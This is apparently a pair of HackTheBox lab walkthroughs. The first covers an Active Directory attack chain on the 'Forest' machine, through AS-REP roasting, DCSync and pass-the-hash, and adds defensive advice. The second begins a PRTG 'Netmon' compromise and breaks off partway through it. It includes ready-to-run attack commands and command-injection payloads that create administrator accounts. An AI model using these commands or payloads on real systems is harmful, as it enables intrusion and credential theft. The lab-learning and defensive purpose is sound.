• John the Ripper — Password cracking tool used to recover plaintext credentials from the captured AS-REP hash.

• Evil-WinRM — Tool used to obtain a remote PowerShell session on the target system using valid domain credentials.

• SharpHound — BloodHound data collector executed on the compromised host to gather Active Directory relationship data.

• BloodHound — Graph-based Active Directory analysis tool used to visualize privilege relationships and identify escalation paths.

• bloodyAD — Tool used to manipulate Active Directory objects and permissions, enabling the abuse of GenericAll and WriteDACL privileges.

• Impacket (secretsdump) — Tool used to perform a DCSync attack and extract domain password hashes directly from the domain controller.

• Impacket (psexec) — Tool used to perform a Pass-the-Hash attack to obtain a SYSTEM shell using the recovered Administrator NTLM hash.

2. Enumeration

Port Scanning

As always, I began the engagement with a port scan to identify exposed services on the target machine.

The scan revealed several open ports associated with a Windows Active Directory environment.

Key services discovered included:

The presence of these services strongly indicated that the target machine was functioning as an Active Directory Domain Controller.

Domain Information Discovery

The Nmap service detection scripts also revealed useful domain information:

Domain name: htb.local
FQDN: FOREST.htb.local
Computer name: FOREST
OS: Windows Server 2016 Standard

This information is extremely valuable during Active Directory engagements because the Fully Qualified Domain Name (FQDN) is required for several domain-based attacks and enumeration techniques.

Active Directory Checklist — Step 1

Following my standard Active Directory attack checklist, the first step after discovering the domain name is to add the domain controller’s FQDN to the local hosts file.

I then added the following entry:

This ensures that domain-related tools such as Kerberos, LDAP queries, and BloodHound collection can correctly resolve the domain controller.

Active Directory Checklist — Step 2

The next step in my Active Directory enumeration methodology is to check SMB for anonymous access, which can sometimes expose shared directories containing credentials, configuration files, or other sensitive data.

To test this, I used NetExec to attempt anonymous SMB authentication and enumerate available shares.

The output confirmed that the server is running Windows Server 2016 in the htb.local domain. However, the attempt to enumerate shares using anonymous authentication failed.

This indicates that anonymous SMB access is disabled, preventing unauthenticated users from listing available shares on the system.

Since SMB enumeration did not yield useful results without credentials, I moved on to the next step in the Active Directory enumeration process

Active Directory Checklist — Step 3

Since anonymous SMB share enumeration was disabled, the next step was to attempt user enumeration through RPC. In many Active Directory environments, it is still possible to query domain information anonymously using the RPC service.

To test this, I connected to the target using rpcclient with a null session.

Once connected, I used the following command to enumerate domain users:

enumdomusers

This successfully returned a list of domain accounts along with their associated Relative Identifiers (RIDs).

The ability to enumerate users anonymously is extremely valuable during an Active Directory assessment because it provides a valid username list that can later be used for techniques such as:

• Password spraying

• AS-REP roasting

• Kerberos attacks

• Credential brute forcing

At this stage, I had successfully gathered a list of valid domain users and could proceed with further enumeration and credential attack techniques.

Active Directory Checklist — Step 4: AS-REP Roasting

After identifying valid domain users, the next step in my Active Directory enumeration methodology is to attempt AS-REP roasting.

This technique targets accounts configured with the Kerberos setting “Do not require Kerberos preauthentication.”

Under normal circumstances, when a user requests a Ticket Granting Ticket (TGT) from the domain controller, Kerberos requires the user to prove knowledge of their password first through preauthentication. However, if this security control is disabled for an account, the domain controller will return an AS-REP response encrypted with the user’s password hash without requiring authentication.

Because of this behavior, an attacker can request authentication data for these accounts without knowing the password, capture the encrypted response, and then crack it offline to recover the plaintext password.

This makes AS-REP roasting extremely useful in situations like this one where valid usernames have been discovered but no credentials have yet been obtained.

Creating a User List

Using the users discovered during RPC enumeration, I created a user list for testing.

Attempting AS-REP Roasting

To test these accounts, I used Impacket’s GetNPUsers script, which checks whether any of the supplied users have Kerberos preauthentication disabled.

Most accounts returned the message: "user doesn't have UF_DONT_REQUIRE_PREAUTH set"

However, the account svc-alfresco was vulnerable and returned a Kerberos AS-REP hash.

This is a critical discovery because the returned hash can now be cracked offline using tools such as Hashcat or John the Ripper in order to recover the account’s plaintext password.

3. Exploitation

Cracking the AS-REP Hash

After successfully retrieving the AS-REP hash for the svc-alfresco account, the next step was to attempt cracking the hash offline in order to recover the account’s password.

Offline cracking is advantageous because it allows repeated password attempts without interacting with the domain controller, avoiding account lockouts and detection.

I saved the hash to a file named hash.txt and used John the Ripper with the well-known rockyou.txt wordlist.

John quickly succeeded in cracking the hash and recovered the plaintext password for the svc-alfresco account.

s3rvice

This gave me my first set of valid domain credentials, which could now be used to authenticate to domain services and continue the attack chain.

Compromising a service account like this is often extremely valuable in Active Directory environments because service accounts frequently have elevated permissions or delegated privileges that can be leveraged for further escalation within the domain.

Initial Access via WinRM

After recovering the password for the svc-alfresco account, the next step in my Active Directory attack methodology is to begin post-credential domain enumeration. At this stage, the priority is to run BloodHound in order to map relationships, permissions, and potential privilege escalation paths within the domain.

BloodHound requires a collector to gather data from the domain environment. The two common options are:

• SharpHound — the official BloodHound collector written in C#

• RustHound — a Rust-based alternative that can be run externally

The preferred approach is to run SharpHound internally because it collects more complete and accurate domain data. However, this requires obtaining a shell on a domain-joined system.

Because of this, the next step was to check whether the compromised user had access to WinRM, which would allow remote command execution on the target.

I attempted authentication using Evil-WinRM with the credentials recovered from the AS-REP roasting attack.

The login was successful and returned a remote PowerShell session.

This confirmed that the credentials were valid and that the svc-alfresco account had WinRM access, providing an interactive shell on the target system.

BloodHound Data Collection (SharpHound)

Now that I had obtained a WinRM shell on the target, I could proceed with running SharpHound, the BloodHound data collector. Running SharpHound internally from a compromised domain machine allows for more complete and accurate collection of Active Directory relationship data.

Using the Evil-WinRM session, I first uploaded the SharpHound binary to the target system.

The file was successfully transferred to the user’s Documents directory:

With the collector uploaded, I executed SharpHound using the -c all flag to gather all available BloodHound collection methods.

SharpHound began collecting Active Directory information including:

• Users

• Groups

• Local administrator relationships

• Sessions

• Logged-on users

• ACLs

• Trust relationships

• GPO permissions

• SPNs and delegation paths

After the enumeration process completed, SharpHound generated a ZIP archive containing the collected data.

Importing Data into BloodHound

After SharpHound finished collecting domain information, it generated a ZIP archive containing the enumeration results. This archive contains multiple JSON files that describe relationships between users, groups, computers, permissions, and other objects in the Active Directory environment.

I downloaded the generated ZIP file from the compromised host to my Kali machine using the Evil-WinRM session.

With the data retrieved, I launched BloodHound on my Kali system and imported the SharpHound results.

4. Privilege Escalation

Identifying a Privilege Escalation Path with BloodHound

After importing the SharpHound data into BloodHound, I began analyzing the privileges associated with the compromised account svc-alfresco. To do this, I searched for the user node in BloodHound and ran a query to find the shortest path to Domain Admins.

BloodHound revealed a privilege escalation chain requiring two steps to reach the Administrator account, which is a member of the Domain Admins group.

Step 1: Join Exchange Windows Permissions

The first part of the attack path involved the following group membership chain:

svc-alfresco
   ↓
Service Accounts
   ↓
Privileged IT Accounts
   ↓
Account Operators

Because of this nested membership, the svc-alfresco account effectively inherits the privileges of the Account Operators group.

BloodHound revealed that Account Operators has GenericAll privileges over the group Exchange Windows Permissions.

If we inspect this relationship in BloodHound and open the Abuse Info panel, it explains the permission:

Members of ACCOUNT OPERATORS@HTB.LOCAL have GenericAll permissions to the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL.

The GenericAll permission represents full control over the target object. This means a user with this privilege can fully manipulate the object, including:

• Adding or removing members

• Modifying attributes

• Changing permissions

Because of this, a member of Account Operators can add themselves to the Exchange Windows Permissions group.

Step 2: Abusing WriteDACL on the Domain

The second part of the escalation path relies on the privileges associated with the Exchange Windows Permissions group.

Members of this group have WriteDACL permissions on the domain object.

To understand why this is powerful, it’s important to understand what WriteDACL means.

A DACL (Discretionary Access Control List) is the list of permissions that controls who can access or modify an Active Directory object.

The WriteDACL permission allows a user to modify that permissions list itself.

In practice, this means a user with WriteDACL can:

• Grant themselves new permissions on the domain

• Assign DCSync rights

• Modify security descriptors

• Delegate full administrative access

Because of this, gaining membership in Exchange Windows Permissions allows an attacker to modify the domain’s permissions and grant themselves privileges that ultimately lead to Domain Admin level control.

Abusing Exchange Windows Permissions

After identifying the privilege escalation path in BloodHound, the first step was to abuse the GenericAll permission that the Account Operators group had over the Exchange Windows Permissions group.

Since the compromised account svc-alfresco effectively inherited the privileges of Account Operators, it could manipulate the membership of the Exchange Windows Permissions group.

To do this, I used the bloodyAD tool to add the compromised account to the group.

bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add groupmember "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco"

The command successfully added the user to the group.

svc-alfresco added to EXCHANGE WINDOWS PERMISSIONS

Granting DCSync Privileges

As discovered earlier in BloodHound, members of the Exchange Windows Permissions group have WriteDACL permissions on the domain object.

This allows members of the group to modify the domain’s access control list and grant themselves powerful permissions. One of the most dangerous permissions that can be assigned in this way is DCSync.

DCSync allows a user to simulate the behavior of a Domain Controller replication request. In practice, this means the attacker can request password hashes directly from the domain controller, including hashes for highly privileged accounts such as Domain Administrators.

Using bloodyAD, I granted the compromised account DCSync privileges on the domain.

bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add dcsync svc-alfresco

The command successfully granted replication privileges.

Dumping Domain Password Hashes

With DCSync privileges obtained, I used Impacket’s secretsdump tool to replicate credential data from the domain controller.

This command successfully dumped the NTLM password hashes for domain accounts, including the hash for the Administrator account.

At this point, I had obtained the Administrator NTLM hash, which could be used for a Pass-the-Hash attack.

Pass-the-Hash with PsExec

Using the recovered Administrator hash, I performed a Pass-the-Hash attack with Impacket’s psexec tool to obtain a SYSTEM shell on the domain controller.

The attack succeeded and returned a remote command shell.

This confirmed full compromise of the domain controller with SYSTEM-level privileges, completing the attack chain.

5. Lessons Learned

This machine highlighted several important Active Directory attack techniques and enumeration strategies that can be extremely useful during domain engagements.

Anonymous RPC Enumeration is Still Possible

Even when anonymous SMB share enumeration is disabled, it may still be possible to enumerate domain information anonymously through other services. In this case, although SMB access was denied, I was still able to query the domain using RPC via rpcclient.

This allowed me to enumerate valid domain users without authentication, which ultimately provided the username list required for further attacks.

This demonstrates that disabling anonymous SMB access alone does not fully prevent anonymous domain enumeration.

AS-REP Roasting Can Work Without Credentials

Once valid usernames were discovered, I attempted AS-REP roasting, which targets accounts configured with Kerberos preauthentication disabled.

This attack is particularly powerful because it does not require a password. Instead, the domain controller returns an authentication response encrypted with the user’s password hash, which can then be cracked offline.

In this case, the svc-alfresco account was vulnerable, allowing me to recover valid domain credentials and gain an initial foothold.

Because of this, AS-REP roasting should always be attempted when valid usernames are available.

Always Test WinRM Access

After obtaining credentials, I immediately checked whether the compromised account had WinRM access.

This is an important step because WinRM provides remote PowerShell access to the target system, which allows attackers to execute commands and run post-exploitation tools directly on the machine.

In this engagement, WinRM access allowed me to obtain a shell on the domain controller and run SharpHound, enabling deeper Active Directory enumeration.

GenericAll and WriteDACL Are Extremely Powerful Privileges

Two of the most powerful permissions that can appear in Active Directory attack paths are GenericAll and WriteDACL.

• GenericAll provides full control over an object.

• WriteDACL allows an attacker to modify the object's permissions.

In this engagement, the Account Operators group had GenericAll over the Exchange Windows Permissions group, which allowed me to add the compromised account to that group.

Members of the Exchange Windows Permissions group had WriteDACL on the domain object, which made it possible to grant the compromised account DCSync privileges.

Once DCSync privileges were obtained, I was able to replicate password data from the domain controller and retrieve the Administrator NTLM hash, leading to full domain compromise.

Because of their impact, GenericAll and WriteDACL permissions should always be prioritized during BloodHound analysis, as they frequently lead directly to privilege escalation.

6. Defensive Insights

This attack chain highlights several security weaknesses that defenders should address to better protect Active Directory environments from similar privilege escalation attacks.

Restrict Anonymous Domain Enumeration

Although anonymous SMB share access was disabled on the target, it was still possible to enumerate domain users anonymously through RPC using rpcclient. This allowed an attacker to build a valid username list without authentication, which later enabled further attacks.

Organizations should ensure that anonymous RPC access is restricted and that domain controllers are configured to prevent unauthenticated users from querying domain information.

Monitoring for unusual anonymous enumeration attempts can also help detect attackers early in the reconnaissance phase.

Enforce Kerberos Preauthentication

The initial foothold in this attack came from AS-REP roasting, which was possible because the svc-alfresco account had Kerberos preauthentication disabled.

Accounts configured this way allow attackers to request Kerberos authentication responses without providing a password. These responses can then be cracked offline to recover the user’s credentials.

To prevent this attack:

• Ensure Kerberos preauthentication is enabled for all accounts

• Audit domain users for the UF_DONT_REQUIRE_PREAUTH flag

• Avoid using service accounts with insecure Kerberos configurations

Regularly reviewing account settings can eliminate this vulnerability entirely.

Limit Service Account Privileges

The compromised account in this environment was a service account, which often have elevated privileges or delegated permissions. In this case, nested group memberships ultimately allowed the account to inherit the privileges of Account Operators, which played a key role in the escalation path.

Service accounts should follow the principle of least privilege, meaning they should only have the permissions absolutely required for their intended function.

Reducing unnecessary group memberships can significantly limit the damage caused if a service account becomes compromised.

Audit Dangerous Active Directory Permissions

The most critical weakness in this environment was the permission structure involving:

• GenericAll over the Exchange Windows Permissions group

• WriteDACL over the domain object

These permissions allowed an attacker to manipulate group memberships and ultimately grant themselves DCSync privileges, which led directly to full domain compromise.

Organizations should regularly audit their Active Directory environment for dangerous permissions such as:

• GenericAll

• WriteDACL

• WriteOwner

• GenericWrite

Tools such as BloodHound can be used defensively to identify and remediate these privilege escalation paths before attackers discover them.

Monitor and Restrict DCSync Capabilities

Once an attacker obtains DCSync privileges, they can replicate password hashes directly from the domain controller, including those of highly privileged accounts such as Domain Administrators.

To mitigate this risk:

• Limit replication privileges to domain controllers only

• Monitor for unusual directory replication requests

• Implement alerting for tools commonly used to perform DCSync attacks

Detecting abnormal replication activity can provide an opportunity to stop attackers before full domain compromise occurs.

Useful Commands

SMB Anonymous Enumeration

Check whether anonymous SMB authentication is allowed and attempt to enumerate shares.

nxc smb 10.129.95.210 -u '' -p '' --shares

RPC Anonymous Enumeration

Connect to the RPC service anonymously and enumerate domain users.

rpcclient -U "" -N 10.129.95.210

enumdomusers

AS-REP Roasting

Attempt to retrieve Kerberos AS-REP hashes for users with preauthentication disabled.

impacket-GetNPUsers -request htb.local/ -no-pass -dc-ip 10.129.95.210 -usersfile user.txt

BloodHound Data Collection

Run SharpHound internally to collect Active Directory data.

.\SharpHound.exe -c all

Add User to Exchange Windows Permissions

Abuse GenericAll privilege using bloodyAD to add a user to the Exchange Windows Permissions group.

bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add groupmember "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco"

Grant DCSync Privileges

Grant the compromised account replication privileges over the domain.

bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add dcsync svc-alfresco

Dump Domain Hashes

Use Impacket to replicate domain credentials via DCSync.

impacket-secretsdump htb.local/svc-alfresco@10.129.6.141

Pass-the-Hash

Use the Administrator NTLM hash to obtain a SYSTEM shell on the domain controller.

impacket-psexec administrator@10.129.6.141 -hashes :32693b11e6aa90eb43d32c72a07ceeae

Machine Name: Netmon

Platform: HackTheBox

Operating System: Windows

In this walkthrough, I document my attack path against the Netmon machine. The goal is to enumerate available services, identify an attack vector, gain initial access, and ultimately escalate privileges to obtain full system compromise.

Tools Used

Rustscan

Used for fast port discovery to quickly identify open services on the target system.

Nmap

Used for service detection and detailed enumeration after identifying open ports.

FFUF

Used for web directory fuzzing to discover hidden paths and endpoints on the web server.

NetExec (nxc)

Used to enumerate SMB services and test authentication against the target system.

FTP

Used to access and download exposed configuration files from the FTP server.

Impacket

Specifically psexec.py, used to gain remote command execution over SMB once administrative credentials were obtained.

2. Enumeration

Port and Service Enumeration

I began by scanning the target using Rustscan to quickly identify open ports, which were then enumerated with Nmap for service detection.

The scan revealed the following notable services:

• 21/tcp – FTP (Microsoft ftpd)

• 80/tcp – HTTP (PRTG Network Monitor)

• 135/tcp – MSRPC

• 139/tcp – NetBIOS

• 445/tcp – SMB (Microsoft Windows Server 2008 R2 / 2012)

• 5985/tcp – HTTPAPI (WinRM)

• Several high RPC ports (49664–49669)

One important result came from the Nmap ftp-anon script, which reported that anonymous FTP login was allowed:

ftp-anon: Anonymous FTP login allowed (FTP code 230)

In situations like this, I prefer to enumerate SMB and FTP first before diving deeply into the web application. These services often expose useful files, credentials, or configuration data that can later be leveraged against the web interface.

However, it is still useful to have web reconnaissance running in the background while investigating other services. To accomplish this, I started a directory brute-force scan using ffuf against the web server.

Running ffuf in the background allows me to begin discovering potential hidden directories or endpoints on the web server while I continue manually enumerating SMB and FTP.

SMB Enumeration

With initial reconnaissance underway and ffuf running in the background, I began manually enumerating the exposed services starting with SMB on port 445.

This test checks whether anonymous SMB access is permitted. However, the server returned an access denied response, indicating that anonymous authentication is not supported for SMB share enumeration on this system.

Since SMB did not allow unauthenticated access, I shifted my attention to the FTP service on port 21, which earlier enumeration suggested allowed anonymous login.

FTP Enumeration

Since SMB did not allow unauthenticated access, I shifted my attention to the FTP service on port 21, which earlier enumeration suggested allowed anonymous login.

I connected to the FTP server and began exploring the exposed directories. I first navigated to the Users directory, but aside from the user flag there was nothing of immediate value.

Next, I inspected the ProgramData directory. This location is often a valuable target during enumeration because it commonly stores application configuration files, logs, and other operational data, which may contain sensitive information such as credentials.

Inside this directory, I discovered several PRTG configuration files. Because PRTG was identified earlier during web enumeration, these files were particularly interesting. I downloaded them to my attacker machine for offline analysis.

get "PRTG Configuration.old"
get "PRTG Configuration.old.bak"
get "PRTG Configuration.dat"

After successfully transferring the files, I exited the FTP session so that I could analyze the configuration files locally.

Credential Discovery

After downloading the PRTG configuration files from the FTP server, I began inspecting them locally to see if they contained any useful information.

Two of the files did not appear to contain anything particularly interesting. However, when inspecting PRTG Configuration.old.bak, I discovered credentials embedded within the configuration data.

This revealed the following credentials:

Since the target web application was identified earlier as PRTG Network Monitor, these credentials appeared to be promising candidates for authentication.

Web Application Login

I navigated to the web interface at:

http://10.129.230.176

This presented a PRTG Network Monitor login page.

I first attempted to authenticate using the credentials discovered in the configuration file:

Username: prtgadmin
Password: PrTg@dmin2018

However, the login attempt failed.

Next, I tried the common default credentials often associated with PRTG installations:

Username: prtgadmin
Password: prtgadmin

This also failed.

At this point I considered that the credentials were recovered from an old backup configuration file, which suggested they might be slightly outdated.

Looking again at the password, I noticed that it contained a year value:

PrTg@dmin2018

Since the backup file dated from 2018, it was possible that the password had been updated to reflect a newer year. I tested this hypothesis by modifying the password accordingly.

Username: prtgadmin
Password: PrTg@dmin2019

This time the authentication was successful, granting access to the PRTG Network Monitor dashboard.

3. Exploitation

Foothold

Now that I had successfully authenticated to the PRTG Network Monitor dashboard, the next step was to determine whether the application version contained any known vulnerabilities.

Earlier enumeration revealed that the application version running on the server was:

PRTG Network Monitor 18.1.37.13946

With version disclosure available, I began searching for publicly known vulnerabilities affecting this version of PRTG.

During my research, I discovered documentation describing CVE-2018-9276, a command injection vulnerability affecting versions of PRTG Network Monitor prior to 18.2.39.

The vulnerability description explains that an attacker with access to the PRTG administrative web console can exploit an OS command injection vulnerability by supplying malicious input within certain configuration parameters.

Specifically, the issue occurs in the Notifications configuration, where the value supplied in the “Parameter” field is passed directly to a PowerShell script without proper input sanitization.

Because the input is not properly sanitized, it becomes possible to inject additional commands that will be executed on the underlying Windows system.

Further investigation revealed that values supplied through this configuration are written to the file:

C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat

Since this file stores parameters used by the notification system, manipulating these parameters allows arbitrary command execution when the notification is triggered.

Research confirmed that inserting a payload similar to the following into the Parameter field would result in command execution:

test.txt;net user pentest p3nT3st! /add

This payload demonstrates that arbitrary commands can be injected by terminating the expected input and appending additional commands, in this case creating a new local user on the system.

Since I already had authenticated administrative access to the PRTG interface, this vulnerability provided a viable path to achieve remote command execution on the host.

Remote Code Execution

After identifying CVE-2018-9276, I began following the proof-of-concept described in the research. The vulnerability exists in the Notifications configuration of PRTG, where parameters passed to certain notification scripts are not properly sanitized before being executed.

To begin testing this, I navigated within the PRTG interface to:

Setup → Account Settings → Notifications

From the notifications page, I clicked the "+" icon on the right side and selected “Add new notification.”

Leaving most of the settings unchanged, I scrolled to the bottom of the configuration page and selected the option:

Execute Program

This option allows a script to be executed when the notification is triggered. I selected one of the default demo PowerShell scripts provided by the application and focused on the Parameter field, which is where the command injection occurs.

Although many characters are filtered, enough characters remain usable to allow command injection by chaining commands.

I supplied the following payload in the Parameter field:

test.txt;net user neo p3nT3st! /add;net localgroup administrators neo /add

This payload performs two actions:

1. Creates a new local user named neo

2. Adds that user to the Administrators group